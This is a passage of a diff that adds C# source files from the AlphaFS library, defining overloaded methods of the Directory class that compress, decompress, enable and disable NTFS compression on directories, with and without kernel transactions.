* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
[SecurityCritical]
public static void CompressTransacted(KernelTransaction transaction, string path)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void CompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, true, pathFormat);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
[SecurityCritical]
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, true, pathFormat);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, true, pathFormat);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, true, pathFormat);
}
}
}

View File

@@ -0,0 +1,165 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <remarks>This will only decompress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to decompress.</param>
[SecurityCritical]
public static void Decompress(string path)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <remarks>This will only decompress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void Decompress(string path, PathFormat pathFormat)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, false, pathFormat);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
[SecurityCritical]
public static void Decompress(string path, DirectoryEnumerationOptions options)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void Decompress(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, false, pathFormat);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <remarks>This will only decompress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void Decompress(string path, DirectoryEnumerationFilters filters)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <remarks>This will only decompress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void Decompress(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, false, pathFormat);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void Decompress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void Decompress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, false, pathFormat);
}
}
}

View File

@@ -0,0 +1,173 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <remarks>This will only decompress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to decompress.</param>
[SecurityCritical]
public static void DecompressTransacted(KernelTransaction transaction, string path)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <remarks>This will only decompress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void DecompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, false, pathFormat);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
[SecurityCritical]
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, false, pathFormat);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <remarks>This will only decompress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <remarks>This will only decompress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, false, pathFormat);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to decompress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, false, pathFormat);
}
}
}

View File

@@ -0,0 +1,62 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>
/// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path to a directory to decompress.</param>
[SecurityCritical]
public static void DisableCompression(string path)
{
Device.ToggleCompressionCore(null, true, path, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>
/// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path to a directory to decompress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void DisableCompression(string path, PathFormat pathFormat)
{
Device.ToggleCompressionCore(null, true, path, false, pathFormat);
}
}
}

View File

@@ -0,0 +1,64 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>
/// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path to a directory to decompress.</param>
[SecurityCritical]
public static void DisableCompressionTransacted(KernelTransaction transaction, string path)
{
Device.ToggleCompressionCore(transaction, true, path, false, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>
/// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
/// <param name="path">A path to a directory to decompress.</param>
[SecurityCritical]
public static void DisableCompressionTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)
{
Device.ToggleCompressionCore(transaction, true, path, false, pathFormat);
}
}
}

View File

@@ -0,0 +1,62 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>
/// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path to a directory to compress.</param>
[SecurityCritical]
public static void EnableCompression(string path)
{
Device.ToggleCompressionCore(null, true, path, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>
/// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path to a directory to compress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void EnableCompression(string path, PathFormat pathFormat)
{
Device.ToggleCompressionCore(null, true, path, true, pathFormat);
}
}
}

View File

@@ -0,0 +1,64 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>
/// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path to a directory to compress.</param>
[SecurityCritical]
public static void EnableCompressionTransacted(KernelTransaction transaction, string path)
{
